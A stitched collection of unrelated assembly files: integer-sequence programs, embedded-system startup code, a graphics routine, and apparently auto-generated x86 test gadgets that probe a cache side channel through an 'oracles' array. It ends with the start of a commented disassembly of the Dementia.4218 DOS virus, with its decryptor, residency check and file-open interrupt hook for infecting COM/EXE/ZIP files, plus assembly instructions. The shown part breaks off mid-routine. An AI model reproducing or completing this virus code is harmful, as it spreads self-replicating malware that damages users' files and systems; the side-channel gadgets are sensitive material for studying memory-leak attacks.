mul rbx ; ten times prior sum
and rcx, 0x0F ; convert char to int
add rax, rcx ; add to prior total
inc rsi ; advance source index
jmp string_to_int_next_digit ; and check another char
string_to_int_invalid:
pop rbx
pop rcx
pop rdx
pop rsi
ret
; -----------------------------------------------------------------------------
%include 'font.inc'
temp_string1: times 50 db 0
temp_string2: times 50 db 0
temp_string: db 0
; =============================================================================
; EOF
|
; A330520: Sum of even integers <= n times the sum of odd integers <= n.
; 0,0,2,8,24,54,108,192,320,500,750,1080,1512,2058,2744,3584,4608,5832,7290,9000,11000,13310,15972,19008,22464,26364,30758,35672,41160,47250,54000,61440,69632,78608,88434,99144,110808,123462,137180,152000,168000,185220,203742,223608,244904,267674
mov $1,$0
mov $2,$0
pow $0,2
mov $3,$2
mov $2,2
mul $3,$1
lpb $0,1
mul $2,$1
mov $4,1
add $4,$2
add $4,$3
div $4,2
mov $2,$4
mov $5,$0
mov $0,1
div $5,2
mul $2,$5
mov $1,$2
lpe
div $1,8
mul $1,2
|
@/*******************************************************************************
@* DISCLAIMER
@* This software is supplied by Renesas Electronics Corporation and is only
@* intended for use with Renesas products. No other uses are authorized. This
@* software is owned by Renesas Electronics Corporation and is protected under
@* all applicable laws, including copyright laws.
@* THIS SOFTWARE IS PROVIDED "AS IS" AND RENESAS MAKES NO WARRANTIES REGARDING
@* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT
@* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE
@* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.
@* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS
@* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE
@* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR
@* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE
@* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
@* Renesas reserves the right, without notice, to make changes to this software
@* and to discontinue the availability of this software. By using this software,
@* you agree to the additional terms and conditions found by accessing the
@* following link:
@* http://www.renesas.com/disclaimer
@* Copyright (C) 2018 Renesas Electronics Corporation. All rights reserved.
@*******************************************************************************/
@/*******************************************************************************
@* File Name : vector_table.asm
@* Description : Vector table
@*******************************************************************************/
#include "r_os_private_vector.h"
@==================================================================
@ Entry point for the Reset handler
@==================================================================
.section VECTOR_TABLE, #execinstr, #alloc
.arm
.extern reset_handler
.extern undefined_handler
.extern svc_handler
.extern prefetch_handler
.extern abort_handler
.extern reserved_handler
.extern irq_handler
.extern fiq_handler
.global Start
.global vector_table
Start:
vector_table:
LDR pc, =R_OS_ABSTRACTION_CFG_PRV_RESET_HANDLER
LDR pc, =R_OS_ABSTRACTION_CFG_PRV_UNDEFINED_HANDLER
LDR pc, =R_OS_ABSTRACTION_CFG_PRV_SVC_HANDLER
LDR pc, =R_OS_ABSTRACTION_CFG_PRV_PREFETCH_HANDLER
LDR pc, =R_OS_ABSTRACTION_CFG_PRV_ABORT_HANDLER
LDR pc, =R_OS_ABSTRACTION_CFG_PRV_RESERVED_HANDLER
LDR pc, =R_OS_ABSTRACTION_CFG_PRV_IRQ_HANDLER
LDR pc, =R_OS_ABSTRACTION_CFG_PRV_FIQ_HANDLER
;@ application signature
signature:
.ascii ".BootLoad_ValidProgramTest. "
Literals:
.LTORG
.END
|
; A224520: Numbers a(n) with property a(n) + a(n+4) = 2^(n+4) - 1 = A000225(n+4).
; 0,1,3,7,15,30,60,120,240,481,963,1927,3855,7710,15420,30840,61680,123361,246723,493447,986895,1973790,3947580,7895160,15790320,31580641,63161283,126322567,252645135,505290270,1010580540,2021161080,4042322160,8084644321,16169288643,32338577287,64677154575,129354309150,258708618300,517417236600,1034834473200,2069668946401,4139337892803,8278675785607,16557351571215,33114703142430,66229406284860,132458812569720,264917625139440,529835250278881,1059670500557763,2119341001115527,4238682002231055
mov $1,2
pow $1,$0
mul $1,32
div $1,34
mov $0,$1
|
; A189038: Decimal expansion of (9+sqrt(17))/8.
; Submitted by Jon Maiga
; 1,6,4,0,3,8,8,2,0,3,2,0,2,2,0,7,5,6,8,7,2,7,6,7,6,2,3,1,9,9,6,7,5,9,6,2,8,1,4,3,3,9,9,9,0,3,1,7,1,7,0,2,5,5,4,2,9,9,8,2,9,1,9,6,6,3,6,8,6,9,2,9,3,2,9,2,2,0,2,6,9,9,1,9,8,4,8,2,9,5,6,3,5,1,3,3,5,5,3,7
mov $1,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
mul $1,4
mul $2,$3
add $1,$2
cmp $6,0
add $5,$6
div $1,$5
div $1,2
div $2,$5
add $2,$1
sub $3,1
lpe
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mod $1,10
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r8
push %rcx
push %rdi
// Faulty Load
mov $0x4b92a000000051b, %rdi
nop
nop
sub $40870, %r8
movb (%rdi), %r11b
lea oracles, %rcx
and $0xff, %r11
shlq $12, %r11
mov (%rcx,%r11,1), %r11
pop %rdi
pop %rcx
pop %r8
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// Original test: ./divya/hw4/problem6/bgez_0.asm
// Author: divya
// Test source code follows
lbi r1,-3
bgez r1,3
lbi r2,0
bgez r2,9
|
; A117863: Number of palindromes (in base 4) below 4^n.
; 3,6,18,30,78,126,318,510,1278,2046,5118,8190,20478,32766,81918,131070,327678,524286,1310718,2097150,5242878,8388606,20971518,33554430,83886078,134217726,335544318,536870910,1342177278,2147483646,5368709118,8589934590,21474836478,34359738366,85899345918,137438953470,343597383678,549755813886,1374389534718,2199023255550,5497558138878,8796093022206,21990232555518,35184372088830,87960930222078,140737488355326,351843720888318,562949953421310,1407374883553278,2251799813685246,5629499534213118
mov $1,2
pow $1,$0
gcd $0,2
add $0,3
mul $0,$1
sub $0,5
div $0,3
mul $0,3
add $0,3
|
; A117230: Start with 1 and repeatedly reverse the digits and add 1 to get the next term.
; 1,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10
sub $0,1
mod $0,9
add $0,2
|
; A215206: Primes congruent to {2, 7} mod 11.
; Submitted by Jon Maiga
; 2,7,13,29,73,79,101,139,167,211,227,233,271,277,293,337,359,409,431,491,541,557,563,601,607,673,733,739,761,821,827,887,937,953,997,1019,1063,1069,1091,1129,1151,1201,1217,1223,1283,1289,1327,1399,1459,1481,1487,1531,1553,1597,1613,1619,1657,1663,1723,1789,1811,1861,1877,1949,1987,1993,2053,2081,2141,2207,2213,2251,2273,2339,2383,2389,2411,2477,2521,2543,2609,2647,2713,2719,2741,2801,2851,2917,2939,2999,3049,3109,3137,3181,3203,3307,3313,3329,3373,3461
mov $1,1
mov $2,332202
mov $5,1
lpb $2
mov $3,$5
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,5
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
add $5,$1
gcd $1,2
sub $5,1
lpe
mov $0,$5
add $0,1
|
; A069517: a(n) = (-1)*sum( d divides n, moebius(d)*(-1)^d).
; 1,2,0,2,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mov $1,1
mov $2,$0
lpb $0
mul $0,2
trn $0,$2
mov $1,$0
trn $0,1
mul $1,2
lpe
mov $0,$1
|
/* Copyright (C) 2001, 2002 Free Software Foundation, Inc.
This file is part of GNU CC.
GNU CC is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
In addition to the permissions in the GNU General Public License, the
Free Software Foundation gives you unlimited permission to link the
compiled version of this file into combinations with other programs,
and to distribute those combinations without any restriction coming
from the use of this file. (The General Public License restrictions
do apply in other respects; for example, they cover modification of
the file, and distribution when not linked into a combine
executable.)
GNU CC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING. If not, write to
the Free Software Foundation, 59 Temple Place - Suite 330,
Boston, MA 02111-1307, USA. */
/* The code in sections .init and .fini is supposed to be a single
regular function. The function in .init is called directly from
start in crt0.asm. The function in .fini is atexit()ed in crt0.asm
too.
crti.asm contributes the prologue of a function to these sections,
and crtn.asm comes up the epilogue. STARTFILE_SPEC should list
crti.o before any other object files that might add code to .init
or .fini sections, and ENDFILE_SPEC should list crtn.o after any
such object files. */
#ifdef __H8300H__
.h8300h
#endif
#ifdef __H8300S__
.h8300s
#endif
.section .init
.global __init
__init:
.section .fini
.global __fini
__fini:
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x656c, %rdi
nop
and %r13, %r13
movl $0x61626364, (%rdi)
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_UC_ht+0x95ec, %rcx
nop
nop
nop
nop
nop
sub $61440, %r15
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
cmp $60, %rdx
lea addresses_WT_ht+0x45ec, %r13
nop
nop
nop
nop
add %r15, %r15
movb (%r13), %cl
nop
xor %r15, %r15
lea addresses_D_ht+0x1d994, %rsi
lea addresses_D_ht+0xe86c, %rdi
nop
dec %r15
mov $90, %rcx
rep movsw
nop
nop
nop
sub %r11, %r11
lea addresses_A_ht+0x2d4c, %r13
nop
nop
nop
nop
cmp $38493, %rdx
vmovups (%r13), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r15
nop
nop
and %rdx, %rdx
lea addresses_A_ht+0x1b28c, %rsi
lea addresses_WT_ht+0x136c, %rdi
sub $30419, %rdx
mov $118, %rcx
rep movsw
nop
nop
add %r13, %r13
lea addresses_normal_ht+0x18e2c, %rsi
lea addresses_WC_ht+0x1df6c, %rdi
clflush (%rsi)
nop
nop
cmp $23050, %r12
mov $46, %rcx
rep movsb
nop
and %rdi, %rdi
lea addresses_normal_ht+0x5b6c, %r11
nop
nop
nop
nop
cmp %r13, %r13
vmovups (%r11), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %rsi
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_WC_ht+0x1369c, %rsi
nop
nop
nop
add $9101, %r13
movb (%rsi), %r12b
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_A_ht+0x5b0, %rsi
xor $31837, %r13
movl $0x61626364, (%rsi)
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0x4fe0, %rsi
nop
xor $17437, %r15
and $0xffffffffffffffc0, %rsi
movaps (%rsi), %xmm1
vpextrq $1, %xmm1, %r12
nop
nop
nop
nop
nop
add $59787, %rcx
lea addresses_WC_ht+0x1582c, %rsi
lea addresses_D_ht+0x120cc, %rdi
nop
nop
nop
nop
nop
add $27763, %r13
mov $108, %rcx
rep movsb
nop
nop
nop
add %r12, %r12
lea addresses_D_ht+0xf76c, %r12
nop
nop
cmp %rdi, %rdi
mov (%r12), %r11
nop
nop
nop
nop
and $1644, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %rbp
push %rcx
push %rdx
// Store
lea addresses_WC+0x15f6c, %r13
nop
nop
nop
nop
nop
add $25976, %rdx
movb $0x51, (%r13)
nop
nop
nop
nop
nop
inc %rdx
// Store
lea addresses_normal+0x1bb6c, %r14
nop
nop
nop
nop
sub $62890, %rdx
mov $0x5152535455565758, %r12
movq %r12, (%r14)
nop
nop
nop
nop
nop
xor $31558, %rcx
// Store
lea addresses_normal+0x81ac, %rcx
nop
and $41249, %r10
movl $0x51525354, (%rcx)
xor $32502, %rcx
// Faulty Load
lea addresses_normal+0x36c, %rdx
clflush (%rdx)
nop
add %r10, %r10
movups (%rdx), %xmm7
vpextrq $0, %xmm7, %r13
lea oracles, %r14
and $0xff, %r13
shlq $12, %r13
mov (%r14,%r13,1), %r13
pop %rdx
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC xorpixel
EXTERN pixeladdress
EXTERN __gfx_coords
EXTERN pix_return
;
; $Id: xorpixl.asm,v 1.8 2016/07/02 09:01:36 dom Exp $
;
; ******************************************************************
;
; Plot pixel at (x,y) coordinate.
;
; Design & programming by Gunther Strube, Copyright (C) InterLogic 1995
;
; The (0,0) origin is placed at the bottom left corner.
;
; in: hl = (x,y) coordinate of pixel (h,l)
;
; registers changed after return:
; ..bc..../ixiy same
; af..dehl/.... different
;
; ******************************************************************
;
; MSX Version
; XOR added by Stefano Bodrato (Feb 2001)
;
; **************
;
.xorpixel
IF maxx <> 256
ld a,h
cp maxx
ret nc
ENDIF
ld a,l
cp maxy
ret nc ; y0 out of range
ld (__gfx_coords),hl
push bc
call pixeladdress
ld b,a
ld a,1
jr z, xor_pixel ; pixel is at bit 0...
.plot_position rlca
djnz plot_position
.xor_pixel ;ex de,hl
xor (hl)
jp pix_return
|
comment *
Dementia.4218
Disassembly by
Darkman/29A
Dementia.4218 is a 4218 bytes parasitic resident COM/EXE/ZIP virus. Infects
files at close file, open file and load and/or execute program by appending
the virus to the infected COM/EXE file and storing in the infected ZIP file.
Dementia.4218 has an error handler, 16-bit exclusive OR (XOR) encryption in
file and is using archive infection technique.
To compile Dementia.4218 with Turbo Assembler v 4.0 type:
TASM /M DEMENTI_.ASM
TLINK /x DEMENTI_.OBJ
EXE2BIN DEMENTI_.EXE DEMENTI_.COM
*
.model tiny
.code
code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h
std ; Set direction flag
mov cx,(crypt_begin-crypt_end-02h)/02h
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key
push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)
decrypt_loop:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two plain bytes
jmp crypt_end
nop
crypt_end:
loop decrypt_loop
cld ; Clear direction flag
push cs ; Save CS at stack
sub si,(crypt_end-code_begin)
nop
mov cl,04h ; Divide by paragraphs
shr si,cl ; SI = offset of crypt_end in para...
mov ax,cs ; AX = code segment
add ax,si ; Add code segment to delta offset...
push ax ; Save AX at stack
lea ax,virus_begin ; AX = offset of virus_begin
push ax ; Save AX at stack
retf ; Return far!
virus_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
pop ax ; Load AX from stack (CS)
mov [code_seg_],ax ; Store code segment
mov bx,1492h ; Dementia.4218 function
call close_file
cmp bx,1776h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit
call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit
mov ax,[code_seg_] ; AX = code segment
mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...
mov bx,[code_seg] ; BX = original code segment
add ax,bx ; Add original code segment to seg...
mov [code_seg],ax ; Store original code segment
xchg ax,dx ; AX = segment of current PSP proc...
cli ; Clear interrupt-enable flag
mov bx,[stack_seg] ; BX = original stack segment
add ax,bx ; Add original stack segment to se...
mov ss,ax ; SS = original stack segment
mov ax,[stack_ptr] ; AX = original stack pointer
mov sp,ax ; SP = " " "
sti ; Set interrupt-enable flag
mov ah,62h ; Get current PSP address
int 21h
mov ds,bx ; DS = segment of PSP for current ...
mov es,bx ; ES = segment of PSP for current ...
xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI
jmp dword ptr cs:[instruct_ptr]
vir_com_exit:
mov di,100h ; DI = offset of beginning of code
lea si,origin_code ; SI = offset of origin_code
nop
movsw ; Move the original code to beginning
movsb ; " " " " " "
push es ; Save ES at stack
mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack
xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
retf ; Return far!
upcase_char proc near ; Upcase character
cmp al,'a' ; Lowcase character?
jl dont_upcase ; Less? Jump to dont_upcase
cmp al,'z' ; Lowcase character?
jg dont_upcase ; Greater? Jump to dont_upcase
sub al,20h ; Upcase character
dont_upcase:
ret ; Return!
endp
int21_virus proc near ; Interrupt 21h of Dementia.4218
pushf ; Save flags at stack
cld ; Clear direction flag
cmp ah,3eh ; Close file?
jne tst_open_fil ; Not equal? Jump to tst_open_fil
cmp bx,1492h ; Dementia.4218 function?
jne tst_open_fil ; Not equal? Jump to tst_open_fil
mov bx,1776h ; Already resident
popf ; Load flags from stack
iret ; Interrupt return!
tst_open_fil:
cmp ah,3dh ; Open file
jne tst_load_and ; Not equal? Jump to tst_load_and
cmp al,0ffh ; Dementia.4218 function
je dementia_fun ; Equal? Jump to dementia_fun
push ax si ; Save registers at stack
mov si,dx ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je open_fi_exit ; Equal? Jump to open_fi_exit
cmp al,'.' ; Found the dot in the filename
jne find_dot ; Not equal? Jump to find_dot
lodsb ; AL = byte of extension
call upcase_char
cmp al,'C' ; COM executable?
